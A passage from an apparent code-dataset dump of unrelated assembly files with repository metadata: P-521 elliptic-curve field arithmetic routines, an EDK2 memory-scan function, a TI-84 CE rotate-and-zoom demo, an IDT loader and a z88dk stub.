(24)(%rsi), %r11 movq (32)(%rsi), %r12 movq (40)(%rsi), %r13 movq (48)(%rsi), %r14 movq (56)(%rsi), %r15 movq (64)(%rsi), %rax xor %rdx, %rdx xor %rcx, %rcx addq Lpoly+0(%rip), %r8 adcq Lpoly+8(%rip), %r9 adcq Lpoly+16(%rip), %r10 adcq Lpoly+24(%rip), %r11 adcq Lpoly+32(%rip), %r12 adcq Lpoly+40(%rip), %r13 adcq Lpoly+48(%rip), %r14 adcq Lpoly+56(%rip), %r15 adcq Lpoly+64(%rip), %rax adc $(0), %rcx test $(1), %r8 cmovne %rdx, %rcx movq (%rsi), %rdx cmovne %rdx, %r8 movq (8)(%rsi), %rdx cmovne %rdx, %r9 movq (16)(%rsi), %rdx cmovne %rdx, %r10 movq (24)(%rsi), %rdx cmovne %rdx, %r11 movq (32)(%rsi), %rdx cmovne %rdx, %r12 movq (40)(%rsi), %rdx cmovne %rdx, %r13 movq (48)(%rsi), %rdx cmovne %rdx, %r14 movq (56)(%rsi), %rdx cmovne %rdx, %r15 movq (64)(%rsi), %rdx cmovne %rdx, %rax shrd $(1), %r9, %r8 shrd $(1), %r10, %r9 shrd $(1), %r11, %r10 shrd $(1), %r12, %r11 shrd $(1), %r13, %r12 shrd $(1), %r14, %r13 shrd $(1), %r15, %r14 shrd $(1), %rax, %r15 shrd $(1), %rcx, %rax movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) movq %r12, (32)(%rdi) movq %r13, (40)(%rdi) movq %r14, (48)(%rdi) movq %r15, (56)(%rdi) movq %rax, (64)(%rdi) pop %r15 pop %r14 pop %r13 pop %r12 ret .Lfe2: .size m7_p521r1_div_by_2, .Lfe2-(m7_p521r1_div_by_2) .p2align 4, 0x90 .globl m7_p521r1_mul_by_3 .type m7_p521r1_mul_by_3, @function m7_p521r1_mul_by_3: push %r12 push %r13 push %r14 push %r15 sub $(88), %rsp movq (%rsi), %r8 movq (8)(%rsi), %r9 movq (16)(%rsi), %r10 movq (24)(%rsi), %r11 movq (32)(%rsi), %r12 movq (40)(%rsi), %r13 movq (48)(%rsi), %r14 movq (56)(%rsi), %r15 movq (64)(%rsi), %rax xor %rcx, %rcx shld $(1), %rax, %rcx shld $(1), %r15, %rax shld $(1), %r14, %r15 shld $(1), %r13, %r14 shld $(1), %r12, %r13 shld $(1), %r11, %r12 shld $(1), %r10, %r11 shld $(1), %r9, %r10 shld $(1), %r8, %r9 shl $(1), %r8 movq %rax, (64)(%rsp) movq %r15, (56)(%rsp) movq %r14, (48)(%rsp) movq %r13, (40)(%rsp) movq %r12, (32)(%rsp) movq %r11, (24)(%rsp) movq %r10, (16)(%rsp) movq %r9, (8)(%rsp) movq %r8, (%rsp) subq Lpoly+0(%rip), %r8 sbbq Lpoly+8(%rip), %r9 sbbq Lpoly+16(%rip), %r10 sbbq Lpoly+24(%rip), %r11 sbbq Lpoly+32(%rip), %r12 sbbq Lpoly+40(%rip), %r13 sbbq Lpoly+48(%rip), %r14 sbbq Lpoly+56(%rip), %r15 sbbq Lpoly+64(%rip), %rax sbb $(0), %rcx movq (%rsp), %rdx cmovb %rdx, %r8 movq (8)(%rsp), %rdx cmovb %rdx, %r9 movq (16)(%rsp), %rdx cmovb %rdx, %r10 movq (24)(%rsp), %rdx cmovb %rdx, %r11 movq (32)(%rsp), %rdx cmovb %rdx, %r12 movq (40)(%rsp), %rdx cmovb %rdx, %r13 movq (48)(%rsp), %rdx cmovb %rdx, %r14 movq (56)(%rsp), %rdx cmovb %rdx, %r15 movq (64)(%rsp), %rdx cmovb %rdx, %rax xor %rcx, %rcx addq (%rsi), %r8 adcq (8)(%rsi), %r9 adcq (16)(%rsi), %r10 adcq (24)(%rsi), %r11 adcq (32)(%rsi), %r12 adcq (40)(%rsi), %r13 adcq (48)(%rsi), %r14 adcq (56)(%rsi), %r15 adcq (64)(%rsi), %rax adc $(0), %rcx movq %r8, (%rsp) movq %r9, (8)(%rsp) movq %r10, (16)(%rsp) movq %r11, (24)(%rsp) movq %r12, (32)(%rsp) movq %r13, (40)(%rsp) movq %r14, (48)(%rsp) movq %r15, (56)(%rsp) movq %rax, (64)(%rsp) subq Lpoly+0(%rip), %r8 sbbq Lpoly+8(%rip), %r9 sbbq Lpoly+16(%rip), %r10 sbbq Lpoly+24(%rip), %r11 sbbq Lpoly+32(%rip), %r12 sbbq Lpoly+40(%rip), %r13 sbbq Lpoly+48(%rip), %r14 sbbq Lpoly+56(%rip), %r15 sbbq Lpoly+64(%rip), %rax sbb $(0), %rcx movq (%rsp), %rdx cmovb %rdx, %r8 movq (8)(%rsp), %rdx cmovb %rdx, %r9 movq (16)(%rsp), %rdx cmovb %rdx, %r10 movq (24)(%rsp), %rdx cmovb %rdx, %r11 movq (32)(%rsp), %rdx cmovb %rdx, %r12 movq (40)(%rsp), %rdx cmovb %rdx, %r13 movq (48)(%rsp), %rdx cmovb %rdx, %r14 movq (56)(%rsp), %rdx cmovb %rdx, %r15 movq (64)(%rsp), %rdx cmovb %rdx, %rax movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) movq %r12, (32)(%rdi) movq %r13, (40)(%rdi) movq %r14, (48)(%rdi) movq %r15, (56)(%rdi) movq %rax, (64)(%rdi) add $(88), %rsp pop %r15 pop %r14 pop %r13 pop %r12 ret .Lfe3: .size m7_p521r1_mul_by_3, .Lfe3-(m7_p521r1_mul_by_3) .p2align 4, 0x90 .globl m7_p521r1_add .type m7_p521r1_add, @function m7_p521r1_add: push %rbx push %r12 push %r13 push %r14 push %r15 movq (%rsi), %r8 movq (8)(%rsi), %r9 movq (16)(%rsi), %r10 movq (24)(%rsi), %r11 movq (32)(%rsi), %r12 movq (40)(%rsi), %r13 movq (48)(%rsi), %r14 movq (56)(%rsi), %r15 movq (64)(%rsi), %rax xor %rcx, %rcx addq (%rdx), %r8 adcq (8)(%rdx), %r9 adcq (16)(%rdx), %r10 adcq (24)(%rdx), %r11 adcq (32)(%rdx), %r12 adcq (40)(%rdx), %r13 adcq (48)(%rdx), %r14 adcq (56)(%rdx), %r15 adcq (64)(%rdx), %rax adc $(0), %rcx movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) movq %r12, (32)(%rdi) movq %r13, (40)(%rdi) movq %r14, (48)(%rdi) movq %r15, (56)(%rdi) movq %rax, (64)(%rdi) subq Lpoly+0(%rip), %r8 sbbq Lpoly+8(%rip), %r9 sbbq Lpoly+16(%rip), %r10 sbbq Lpoly+24(%rip), %r11 sbbq Lpoly+32(%rip), %r12 sbbq Lpoly+40(%rip), %r13 sbbq Lpoly+48(%rip), %r14 sbbq Lpoly+56(%rip), %r15 sbbq Lpoly+64(%rip), %rax sbb $(0), %rcx movq (%rdi), %rdx cmovb %rdx, %r8 movq (8)(%rdi), %rdx cmovb %rdx, %r9 movq (16)(%rdi), %rdx cmovb %rdx, %r10 movq (24)(%rdi), %rdx cmovb %rdx, %r11 movq (32)(%rdi), %rdx cmovb %rdx, %r12 movq (40)(%rdi), %rdx cmovb %rdx, %r13 movq (48)(%rdi), %rdx cmovb %rdx, %r14 movq (56)(%rdi), %rdx cmovb %rdx, %r15 movq (64)(%rdi), %rdx cmovb %rdx, %rax movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) movq %r12, (32)(%rdi) movq %r13, (40)(%rdi) movq %r14, (48)(%rdi) movq %r15, (56)(%rdi) movq %rax, (64)(%rdi) pop %r15 pop %r14 pop %r13 pop %r12 pop %rbx ret .Lfe4: .size m7_p521r1_add, .Lfe4-(m7_p521r1_add) .p2align 4, 0x90 .globl m7_p521r1_sub .type m7_p521r1_sub, @function m7_p521r1_sub: push %rbx push %r12 push %r13 push %r14 push %r15 movq (%rsi), %r8 movq (8)(%rsi), %r9 movq (16)(%rsi), %r10 movq (24)(%rsi), %r11 movq (32)(%rsi), %r12 movq (40)(%rsi), %r13 movq (48)(%rsi), %r14 movq (56)(%rsi), %r15 movq (64)(%rsi), %rax xor %rcx, %rcx subq (%rdx), %r8 sbbq (8)(%rdx), %r9 sbbq (16)(%rdx), %r10 sbbq (24)(%rdx), %r11 sbbq (32)(%rdx), %r12 sbbq (40)(%rdx), %r13 sbbq (48)(%rdx), %r14 sbbq (56)(%rdx), %r15 sbbq (64)(%rdx), %rax sbb $(0), %rcx movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) movq %r12, (32)(%rdi) movq %r13, (40)(%rdi) movq %r14, (48)(%rdi) movq %r15, (56)(%rdi) movq %rax, (64)(%rdi) addq Lpoly+0(%rip), %r8 adcq Lpoly+8(%rip), %r9 adcq Lpoly+16(%rip), %r10 adcq Lpoly+24(%rip), %r11 adcq Lpoly+32(%rip), %r12 adcq Lpoly+40(%rip), %r13 adcq Lpoly+48(%rip), %r14 adcq Lpoly+56(%rip), %r15 adcq Lpoly+64(%rip), %rax test %rcx, %rcx movq (%rdi), %rdx cmove %rdx, %r8 movq (8)(%rdi), %rdx cmove %rdx, %r9 movq (16)(%rdi), %rdx cmove %rdx, %r10 movq (24)(%rdi), %rdx cmove %rdx, %r11 movq (32)(%rdi), %rdx cmove %rdx, %r12 movq (40)(%rdi), %rdx cmove %rdx, %r13 movq (48)(%rdi), %rdx cmove %rdx, %r14 movq (56)(%rdi), %rdx cmove %rdx, %r15 movq (64)(%rdi), %rdx cmove %rdx, %rax movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) movq %r12, (32)(%rdi) movq %r13, (40)(%rdi) movq %r14, (48)(%rdi) movq %r15, (56)(%rdi) movq %rax, (64)(%rdi) pop %r15 pop %r14 pop %r13 pop %r12 pop %rbx ret .Lfe5: .size m7_p521r1_sub, .Lfe5-(m7_p521r1_sub) .p2align 4, 0x90 .globl m7_p521r1_neg .type m7_p521r1_neg, @function m7_p521r1_neg: push %r12 push %r13 push %r14 push %r15 xor %r8, %r8 xor %r9, %r9 xor %r10, %r10 xor %r11, %r11 xor %r12, %r12 xor %r13, %r13 xor %r14, %r14 xor %r15, %r15 xor %rax, %rax xor %rcx, %rcx subq (%rsi), %r8 sbbq (8)(%rsi), %r9 sbbq (16)(%rsi), %r10 sbbq (24)(%rsi), %r11 sbbq (32)(%rsi), %r12 sbbq (40)(%rsi), %r13 sbbq (48)(%rsi), %r14 sbbq (56)(%rsi), %r15 sbbq (64)(%rsi), %rax sbb $(0), %rcx movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) movq %r12, (32)(%rdi) movq %r13, (40)(%rdi) movq %r14, (48)(%rdi) movq %r15, (56)(%rdi) movq %rax, (64)(%rdi) addq Lpoly+0(%rip), %r8 adcq Lpoly+8(%rip), %r9 adcq Lpoly+16(%rip), %r10 adcq Lpoly+24(%rip), %r11 adcq Lpoly+32(%rip), %r12 adcq Lpoly+40(%rip), %r13 adcq Lpoly+48(%rip), %r14 adcq Lpoly+56(%rip), %r15 adcq Lpoly+64(%rip), %rax test %rcx, %rcx movq (%rdi), %rdx cmove %rdx, %r8 movq (8)(%rdi), %rdx cmove %rdx, %r9 movq (16)(%rdi), %rdx cmove %rdx, %r10 movq (24)(%rdi), %rdx cmove %rdx, %r11 movq (32)(%rdi), %rdx cmove %rdx, %r12 movq (40)(%rdi), %rdx cmove %rdx, %r13 movq (48)(%rdi), %rdx cmove %rdx, %r14 movq (56)(%rdi), %rdx cmove %rdx, %r15 movq (64)(%rdi), %rdx cmove %rdx, %rax movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) movq %r12, (32)(%rdi) movq %r13, (40)(%rdi) movq %r14, (48)(%rdi) movq %r15, (56)(%rdi) movq %rax, (64)(%rdi) pop %r15 pop %r14 pop %r13 pop %r12 ret .Lfe6: .size m7_p521r1_neg, .Lfe6-(m7_p521r1_neg) .p2align 4, 0x90 .globl m7_p521r1_mred .type m7_p521r1_mred, @function m7_p521r1_mred: push %rbx push %r12 push %r13 push %r14 push %r15 movq (%rsi), %r8 movq (8)(%rsi), %r9 movq (16)(%rsi), %r10 movq (24)(%rsi), %r11 movq (32)(%rsi), %r12 movq (40)(%rsi), %r13 movq (48)(%rsi), %r14 movq (56)(%rsi), %r15 movq (64)(%rsi), %rax movq (72)(%rsi), %rcx xor %rdx, %rdx mov %r8, %rbx shr $(55), %rbx shl $(9), %r8 add %rdx, %rbx add %r8, %rax adc %rbx, %rcx mov $(0), %rdx adc $(0), %rdx movq (80)(%rsi), %r8 mov %r9, %rbx shr $(55), %rbx shl $(9), %r9 add %rdx, %rbx add %r9, %rcx adc %rbx, %r8 mov $(0), %rdx adc $(0), %rdx movq (88)(%rsi), %r9 mov %r10, %rbx shr $(55), %rbx shl $(9), %r10 add %rdx, %rbx add %r10, %r8 adc %rbx, %r9 mov $(0), %rdx adc $(0), %rdx movq (96)(%rsi), %r10 mov %r11, %rbx shr $(55), %rbx shl $(9), %r11 add %rdx, %rbx add %r11, %r9 adc %rbx, %r10 mov $(0), %rdx adc $(0), %rdx movq (104)(%rsi), %r11 mov %r12, %rbx shr $(55), %rbx shl $(9), %r12 add %rdx, %rbx add %r12, %r10 adc %rbx, %r11 mov $(0), %rdx adc $(0), %rdx movq (112)(%rsi), %r12 mov %r13, %rbx shr $(55), %rbx shl $(9), %r13 add %rdx, %rbx add %r13, %r11 adc %rbx, %r12 mov $(0), %rdx adc $(0), %rdx movq (120)(%rsi), %r13 mov %r14, %rbx shr $(55), %rbx shl $(9), %r14 add %rdx, %rbx add %r14, %r12 adc %rbx, %r13 mov $(0), %rdx adc $(0), %rdx movq (128)(%rsi), %r14 mov %r15, %rbx shr $(55), %rbx shl $(9), %r15 add %rdx, %rbx add %r15, %r13 adc %rbx, %r14 mov $(0), %rdx adc $(0), %rdx movq (136)(%rsi), %r15 mov %rax, %rbx shr $(55), %rbx shl $(9), %rax add %rdx, %rbx add %rax, %r14 adc %rbx, %r15 mov $(0), %rdx adc $(0), %rdx movq %rcx, (%rdi) movq %r8, (8)(%rdi) movq %r9, (16)(%rdi) movq %r10, (24)(%rdi) movq %r11, (32)(%rdi) movq %r12, (40)(%rdi) movq %r13, (48)(%rdi) movq %r14, (56)(%rdi) movq %r15, (64)(%rdi) subq Lpoly+0(%rip), %rcx sbbq Lpoly+8(%rip), %r8 sbbq Lpoly+16(%rip), %r9 sbbq Lpoly+24(%rip), %r10 sbbq Lpoly+32(%rip), %r11 sbbq Lpoly+40(%rip), %r12 sbbq Lpoly+48(%rip), %r13 sbbq Lpoly+56(%rip), %r14 sbbq Lpoly+64(%rip), %r15 movq (%rdi), %rbx cmovb %rbx, %rcx movq (8)(%rdi), %rbx cmovb %rbx, %r8 movq (16)(%rdi), %rbx cmovb %rbx, %r9 movq (24)(%rdi), %rbx cmovb %rbx, %r10 movq (32)(%rdi), %rbx cmovb %rbx, %r11 movq (40)(%rdi), %rbx cmovb %rbx, %r12 movq (48)(%rdi), %rbx cmovb %rbx, %r13 movq (56)(%rdi), %rbx cmovb %rbx, %r14 movq (64)(%rdi), %rbx cmovb %rbx, %r15 movq %rcx, (%rdi) movq %r8, (8)(%rdi) movq %r9, (16)(%rdi) movq %r10, (24)(%rdi) movq %r11, (32)(%rdi) movq %r12, (40)(%rdi) movq %r13, (48)(%rdi) movq %r14, (56)(%rdi) movq %r15, (64)(%rdi) pop %r15 pop %r14 pop %r13 pop %r12 pop %rbx ret .Lfe7: .size m7_p521r1_mred, .Lfe7-(m7_p521r1_mred) .p2align 4, 0x90 .globl m7_p521r1_select_pp_w5 .type m7_p521r1_select_pp_w5, @function m7_p521r1_select_pp_w5: push %r12 push %r13 sub $(40), %rsp movd %edx, %xmm15 pshufd $(0), %xmm15, %xmm15 movdqa %xmm15, (%rsp) movdqa LOne(%rip), %xmm14 movdqa %xmm14, (16)(%rsp) pxor %xmm0, %xmm0 pxor %xmm1, %xmm1 pxor %xmm2, %xmm2 pxor %xmm3, %xmm3 pxor %xmm4, %xmm4 pxor %xmm5, %xmm5 pxor %xmm6, %xmm6 pxor %xmm7, %xmm7 pxor %xmm8, %xmm8 pxor %xmm9, %xmm9 pxor %xmm10, %xmm10 pxor %xmm11, %xmm11 pxor %xmm12, %xmm12 pxor %xmm13, %xmm13 mov $(16), %rcx .Lselect_loopgas_8: movdqa (16)(%rsp), %xmm15 movdqa %xmm15, %xmm14 pcmpeqd (%rsp), %xmm15 paddd LOne(%rip), %xmm14 movdqa %xmm14, (16)(%rsp) movdqu (%rsi), %xmm14 pand %xmm15, %xmm14 por %xmm14, %xmm0 movdqu (16)(%rsi), %xmm14 pand %xmm15, %xmm14 por %xmm14, %xmm1 movdqu (32)(%rsi), %xmm14 pand %xmm15, %xmm14 por %xmm14, %xmm2 movdqu (48)(%rsi), %xmm14 pand %xmm15, %xmm14 por %xmm14, %xmm3 movdqu (64)(%rsi), %xmm14 pand %xmm15, %xmm14 por %xmm14, %xmm4 movdqu (80)(%rsi), %xmm14 pand %xmm15, %xmm14 por %xmm14, %xmm5 movdqu (96)(%rsi), %xmm14 pand %xmm15, %xmm14 por %xmm14, %xmm6 movdqu (112)(%rsi), %xmm14 pand %xmm15, %xmm14 por %xmm14, %xmm7 movdqu (128)(%rsi), %xmm14 pand %xmm15, %xmm14 por %xmm14, %xmm8 movdqu (144)(%rsi), %xmm14 pand %xmm15, %xmm14 por %xmm14, %xmm9 movdqu (160)(%rsi), %xmm14 pand %xmm15, %xmm14 por %xmm14, %xmm10 movdqu (176)(%rsi), %xmm14 pand %xmm15, %xmm14 por %xmm14, %xmm11 movdqu (192)(%rsi), %xmm14 pand %xmm15, %xmm14 por %xmm14, %xmm12 movd (208)(%rsi), %xmm14 pand %xmm15, %xmm14 por %xmm14, %xmm13 add $(216), %rsi dec %rcx jnz .Lselect_loopgas_8 movdqu %xmm0, (%rdi) movdqu %xmm1, (16)(%rdi) movdqu %xmm2, (32)(%rdi) movdqu %xmm3, (48)(%rdi) movdqu %xmm4, (64)(%rdi) movdqu %xmm5, (80)(%rdi) movdqu %xmm6, (96)(%rdi) movdqu %xmm7, (112)(%rdi) movdqu %xmm8, (128)(%rdi) movdqu %xmm9, (144)(%rdi) movdqu %xmm10, (160)(%rdi) movdqu %xmm11, (176)(%rdi) movdqu %xmm12, (192)(%rdi) movq %xmm13, (208)(%rdi) add $(40), %rsp pop %r13 pop %r12 ret .Lfe8: .size m7_p521r1_select_pp_w5, .Lfe8-(m7_p521r1_select_pp_w5) .p2align 4, 0x90 .globl m7_p521r1_select_ap_w5 .type m7_p521r1_select_ap_w5, @function m7_p521r1_select_ap_w5: push %r12 push %r13 movdqa LOne(%rip), %xmm10 movd %edx, %xmm9 pshufd $(0), %xmm9, %xmm9 pxor %xmm0, %xmm0 pxor %xmm1, %xmm1 pxor %xmm2, %xmm2 pxor %xmm3, %xmm3 pxor %xmm4, %xmm4 pxor %xmm5, %xmm5 pxor %xmm6, %xmm6 pxor %xmm7, %xmm7 pxor %xmm8, %xmm8 mov $(16), %rcx .Lselect_loopgas_9: movdqa %xmm10, %xmm11 pcmpeqd %xmm9, %xmm11 paddd LOne(%rip), %xmm10 movdqa (%rsi), %xmm12 pand %xmm11, %xmm12 por %xmm12, %xmm0 movdqa (16)(%rsi), %xmm12 pand %xmm11, %xmm12 por %xmm12, %xmm1 movdqa (32)(%rsi), %xmm12 pand %xmm11, %xmm12 por %xmm12, %xmm2 movdqa (48)(%rsi), %xmm12 pand %xmm11, %xmm12 por %xmm12, %xmm3 movdqa (64)(%rsi), %xmm12 pand %xmm11, %xmm12 por %xmm12, %xmm4 movdqa (80)(%rsi), %xmm12 pand %xmm11, %xmm12 por %xmm12, %xmm5 movdqa (96)(%rsi), %xmm12 pand %xmm11, %xmm12 por %xmm12, %xmm6 movdqa (112)(%rsi), %xmm12 pand %xmm11, %xmm12 por %xmm12, %xmm7 movdqa (128)(%rsi), %xmm12 pand %xmm11, %xmm12 por %xmm12, %xmm8 add $(144), %rsi dec %rcx jnz .Lselect_loopgas_9 movdqu %xmm0, (%rdi) movdqu %xmm1, (16)(%rdi) movdqu %xmm2, (32)(%rdi) movdqu %xmm3, (48)(%rdi) movdqu %xmm4, (64)(%rdi) movdqu %xmm5, (80)(%rdi) movdqu %xmm6, (96)(%rdi) movdqu %xmm7, (112)(%rdi) movdqu %xmm8, (128)(%rdi) pop %r13 pop %r12 ret .Lfe9: .size m7_p521r1_select_ap_w5, .Lfe9-(m7_p521r1_select_ap_w5)
28.205078
80
0.411363
b220645e12955167c97d5328ec581aa1b04f8806
1,452
nasm
Assembly
MdePkg/Library/BaseMemoryLibRepStr/Ia32/ScanMem64.nasm
nicklela/edk2
dfafa8e45382939fb5dc78e9d37b97b500a43613
[ "Python-2.0", "Zlib", "BSD-2-Clause", "MIT", "BSD-2-Clause-Patent", "BSD-3-Clause" ]
3,861
2019-09-04T10:10:11.000Z
2022-03-31T15:46:28.000Z
MdePkg/Library/BaseMemoryLibRepStr/Ia32/ScanMem64.nasm
nicklela/edk2
dfafa8e45382939fb5dc78e9d37b97b500a43613
[ "Python-2.0", "Zlib", "BSD-2-Clause", "MIT", "BSD-2-Clause-Patent", "BSD-3-Clause" ]
1,199
2015-01-12T08:00:01.000Z
2022-03-29T18:14:42.000Z
MdePkg/Library/BaseMemoryLibRepStr/Ia32/ScanMem64.nasm
nicklela/edk2
dfafa8e45382939fb5dc78e9d37b97b500a43613
[ "Python-2.0", "Zlib", "BSD-2-Clause", "MIT", "BSD-2-Clause-Patent", "BSD-3-Clause" ]
1,850
2015-01-01T11:28:12.000Z
2022-03-31T18:10:59.000Z
;------------------------------------------------------------------------------ ; ; Copyright (c) 2006 - 2015, Intel Corporation. All rights reserved.<BR> ; SPDX-License-Identifier: BSD-2-Clause-Patent ; ; Module Name: ; ; ScanMem64.Asm ; ; Abstract: ; ; ScanMem64 function ; ; Notes: ; ; The following BaseMemoryLib instances contain the same copy of this file: ; ; BaseMemoryLibRepStr ; BaseMemoryLibMmx ; BaseMemoryLibSse2 ; BaseMemoryLibOptDxe ; BaseMemoryLibOptPei ; ;------------------------------------------------------------------------------ SECTION .text ;------------------------------------------------------------------------------ ; CONST VOID * ; EFIAPI ; InternalMemScanMem64 ( ; IN CONST VOID *Buffer, ; IN UINTN Length, ; IN UINT64 Value ; ); ;------------------------------------------------------------------------------ global ASM_PFX(InternalMemScanMem64) ASM_PFX(InternalMemScanMem64): push edi mov ecx, [esp + 12] mov eax, [esp + 16] mov edx, [esp + 20] mov edi, [esp + 8] .0: cmp eax, [edi] lea edi, [edi + 8] loopne .0 jne .1 cmp edx, [edi - 4] jecxz .1 jne .0 .1: lea eax, [edi - 8] jz .2 mov eax, ecx .2: pop edi ret
24.2
80
0.397383
67eb9463862149a34ade261680f1c86a812c1a73
6,199
asm
Assembly
Miscellaneous/Rotate and Zoom Ti 84 CE/main.asm
CiaranGruber/Ti-84-Calculator
96742a4a2b9e21aa9d675575dc7e4f26365430c0
[ "MIT" ]
1
2019-03-31T11:49:12.000Z
2019-03-31T11:49:12.000Z
Miscellaneous/Rotate and Zoom Ti 84 CE/main.asm
CiaranGruber/Ti-84-Calculator
96742a4a2b9e21aa9d675575dc7e4f26365430c0
[ "MIT" ]
null
null
null
Miscellaneous/Rotate and Zoom Ti 84 CE/main.asm
CiaranGruber/Ti-84-Calculator
96742a4a2b9e21aa9d675575dc7e4f26365430c0
[ "MIT" ]
1
2020-03-09T13:21:19.000Z
2020-03-09T13:21:19.000Z
.org $E30200 ld hl,sine_table ld de,57600 ;############## Advance rotate, calculate new deltax / deltay in texture next_frame: ld a,2 ld ($F50000),a ; trigger keypad read push de push hl ld a,l add a,a add a,l ; zooming 3x as fast as rotating ld l,a ld a,(hl) sra a ; range -63 to 63 add a,105 ; range 42 to 168 ld (Multiply_Zoom+1),a pop hl ld a,(hl) ; A = sine of horizontal angle inc l push hl ; push pointer into sine table call Multiply_Zoom push hl add hl,hl ; double for the column deltaY ld (load_y_delta+1),hl call Mul_HL_Neg_80 ld (line_y_coord+1),hl pop de ; also the inverse of row deltaX ld hl,0 xor a sbc hl,de ld (line_x_delta+1),hl pop hl push hl ld a,l add a,63 ; cosine is sine of 90 degrees ahead ld l,a ld a,(hl) ; A = cosine horiz angle, sine vertical call Multiply_Zoom ld (line_y_delta+1),hl add hl,hl ld (load_x_delta+1),hl call Mul_HL_Neg_80 ld (line_X_coord+1),hl ;############## Line loop, advances down one pixel per iteration ld ix,$d40000 ; start of display next_line: ld bc,$D60000 ; BC1 = source image pointer line_y_coord: ld hl,0 line_y_delta: ld de,-3 add hl,de ; HL1 = Y coordinate ld (line_y_coord+1),hl load_y_delta: ld de,32 ; DE1 = delta Y exx ; switch to bank 2 line_x_coord: ld hl,0 line_x_delta: ld de,16 add hl,de ; HL2 = Y coordinate ld (line_x_coord+1),hl load_x_delta: ld de,32 ; DE2 = delta ;############## Inner loop, advances two double pixels per iteration ld b,80 ; B2 = loop counter next_pixel: add hl,de ; HL2 = new X coord ld a,h ; A = X coord (discarding fraction) exx ; switch to bank 1 ld c,a ; X coordinate becomes low byte of image address add hl,de ; HL1 = new Y coord ld a,h ; A = Y coord (discarding fraction) and 15 ld b,a ; Y coordinate becomes middle byte of address ld a,(bc) ; read one double pixel from texture ld (ix),a ; write one double pixel to display inc ix exx ; switch to bank 2 add hl,de ; HL2 = new X coord ld a,h ; A = X coord (discarding fraction) exx ; switch to bank 1 ld c,a ; X coordinate becomes low byte of image address add hl,de ; HL1 = new Y coord ld a,h ; A = Y coord (discarding fraction) and 15 ld b,a ; Y coordinate becomes middle byte of address ld a,(bc) ; read one double pixel from texture ld (ix),a ; write one double pixel to display inc ix exx ; switch to bank 2 djnz next_pixel ;############## Advance to next line ld a,ixh cp 150 jr nz,next_line ;############## Advance to next frame and check for exit pop hl pop de ld a,($F5001C) bit 6,a ; check CLEAR key ret nz dec de ld a,d or e jp nz,next_frame ret ;############## Multiply A by E, with A signed, sign extended result in HL, shifted right 6 Multiply_Zoom: ld e,55 Mul_Signed_A_E_Shift: or a jp p,mul_positive neg call mul_positive ex de,hl xor a ld hl,0 sbc hl,de ret mul_positive: ld d,a mlt de ld hl,0 ld l,d ld b,2 mul_loop: rl e rl l rl h djnz mul_loop ret Mul_HL_Neg_80: xor a ex de,hl ld hl,0 sbc hl,de ; *-1 add hl,hl add hl,hl ; *-4 push hl pop de add hl,hl add hl,hl ; *-16 add hl,de ; *-20 add hl,hl add hl,hl ret ;############## Table of sines on 256 byte boundary .fill $E30300-$ sine_table: #include sines.i
35.022599
96
0.348282
cec0e955b40c93b3d2539049c60a9ff7b8953df8
74
asm
Assembly
src/kernel/interrupts/idt.asm
MetaColon/Melvix
cca3879a03c2a983310e25bca6a64a979aa9c3ef
[ "MIT" ]
null
null
null
src/kernel/interrupts/idt.asm
MetaColon/Melvix
cca3879a03c2a983310e25bca6a64a979aa9c3ef
[ "MIT" ]
null
null
null
src/kernel/interrupts/idt.asm
MetaColon/Melvix
cca3879a03c2a983310e25bca6a64a979aa9c3ef
[ "MIT" ]
null
null
null
; IDT loader global idt_load extern idtp idt_load: lidt [idtp] ret
12.333333
15
0.702703
c6133b877c7b914760e0a3c895a084d060d61b0b
344
asm
Assembly
libsrc/fcntl/test/writebyte.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/fcntl/test/writebyte.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/fcntl/test/writebyte.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; Dummy function to keep rest of libs happy ; ; $Id: writebyte.asm,v 1.5 2016-03-06 21:39:54 dom Exp $ ; SECTION code_clib INCLUDE "target/test/def/test_cmds.def" PUBLIC writebyte PUBLIC _writebyte .writebyte ._writebyte pop de pop hl pop bc push bc push hl push de ld b,c ld a,CMD_WRITEBYTE call SYSCALL ret
14.333333
56
0.686047
9068642da22096e4c0575a97ae1316729a14c667
510
asm
Assembly
oeis/071/A071981.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/071/A071981.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/071/A071981.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
